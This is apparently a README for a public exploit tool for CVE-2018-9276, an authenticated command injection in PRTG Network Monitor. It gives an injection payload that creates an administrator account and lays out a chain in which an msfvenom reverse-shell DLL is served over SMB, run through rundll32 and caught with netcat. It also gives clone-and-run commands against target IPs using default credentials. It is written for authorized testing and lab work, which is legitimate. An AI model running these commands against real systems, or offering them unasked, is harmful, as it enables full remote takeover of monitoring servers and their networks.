
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.
⚠️ Aviso: Esta ferramenta destina-se apenas a fins educacionais e testes de penetração autorizados. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal.
PRTG Network Monitor é uma ferramenta de monitoramento de rede desenvolvida pela Paessler AG. Versões anteriores a 18.2.39 são vulneráveis a uma injeção de comandos autenticada através do recurso de notificações, permitindo que um atacante com credenciais válidas obtenha Execução Remota de Código (RCE) como Sistema Local (a conta de serviço padrão para instalações do PRTG).
Esta vulnerabilidade foi descoberta durante um teste de penetração por Josh Berry e divulgada à Paessler AG, que lançou uma correção em 20 de abril de 2018. Foi atribuída a CVE-2018-9276.
O PRTG inclui um sistema de notificações que permite que administradores executem scripts quando certos eventos ocorrem. Para evitar a execução arbitrária de código, o PRTG restringe quais scripts podem ser executados apenas àqueles localizados em um diretório específico no servidor. Por padrão, apenas dois scripts de demonstração estão disponíveis:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1O script de demonstração PowerShell (OutFile.ps1) passa o valor do campo Parameter de uma notificação diretamente para o script sem qualquer sanitização. Isso torna possível injetar comandos arbitrários do PowerShell adicionando-os após um ponto e vírgula:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
Quando o PRTG executa a notificação, o comando injetado é executado com privilégios de Sistema Local.
Nota: O script batch (
OutFile.bat) não é vulnerável — a Paessler parece sanitizar a entrada antes de passá-la para o arquivo batch. A injeção só funciona através do script.ps1.
O exploit automatiza os seguintes passos:
1. Verificar versão do servidor → confirmar que o alvo é vulnerável
2. Autenticar → obter um cookie de sessão válido
3. Encenar uma notificação de arquivo → inicializar um arquivo de saída gravável no alvo
4. Acionar a notificação de arquivo → executá-la via /api/notificationtest.htm
5. Gerar uma DLL de reverse shell → msfvenom (windows/shell_reverse_tcp)
6. Hospedar a DLL → servi-la via SMB a partir da máquina do atacante
7. Encenar uma notificação de comando → injetar rundll32.exe <UNC_PATH>,0 após o arquivo de saída
8. Acionar a notificação de comando → executar a DLL no alvo
9. Capturar o reverse shell → nc -nvlp <LPORT>
O PRTG permite apenas que scripts localizados em seu diretório de instalação sejam executados como notificações, portanto não podemos simplesmente fazer upload e executar um binário arbitrário. Em vez disso, nós:
msfvenom para gerar um reverse shell do Windows como um arquivo .dll..dll em um compartilhamento SMB na máquina do atacante.rundll32.exe \\atacante\compartilhamento\payload.dll,0 através do parâmetro da notificação PowerShell.rundll32.exe pode carregar e executar uma DLL a partir de um caminho UNC, contornando a restrição sobre quais arquivos o PRTG pode executar diretamente.
msfvenom (parte do Metasploit Framework)netcat (nc)impacket — necessário apenas para o servidor SMB embutido (opcional, veja --no-smb)pip install impacket
Se você já possui uma maneira de hospedar a DLL (ex.:
impacket-smbserver,exploit/multi/handlerdo Metasploit, ou outro servidor SMB), pode pular o impacket usando--no-smbe--shell-location.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # apenas impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Target IP or hostname
-p, --port Target port (e.g. 80 or 443)
--lhost Local IP for the reverse shell callback
--lport Local port for the reverse shell callback
--user PRTG username (default: prtgadmin)
--password PRTG password (default: prtgadmin)
--https Use HTTPS (self-signed certificates accepted)
--no-smb Skip the built-in SMB server (payload already hosted)
--shell-location Override the UNC path to the DLL payload
-v, --verbose Enable verbose / debug output
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support
# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) reduzem drasticamente a barreira para exploração.| Campo | Valor |
|---|
| CVE | CVE-2018-9276 |
| Afetado | PRTG Network Monitor < 18.2.39 |
| Tipo | Injeção de Comandos Autenticada |
| Privilégios | Requer credenciais PRTG válidas |
| Impacto | Execução Remota de Código como Sistema Local |
| Pontuação CVSS | 7.2 (Alto) |
| Correção | PRTG 18.2.39 (lançado em 20 de abril de 2018) |